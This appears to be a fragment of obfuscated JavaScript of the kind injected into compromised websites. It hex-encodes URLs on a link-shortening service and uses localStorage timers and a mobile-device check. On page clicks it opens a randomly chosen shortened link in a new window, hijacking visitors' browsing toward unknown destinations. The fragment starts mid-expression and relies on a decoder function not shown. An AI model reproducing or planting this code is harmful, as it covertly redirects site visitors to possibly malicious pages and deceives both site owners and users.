_0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6a\x4c\x4f\x30\x63\x320','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x69\x6c\x68\x31\x63\x311',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());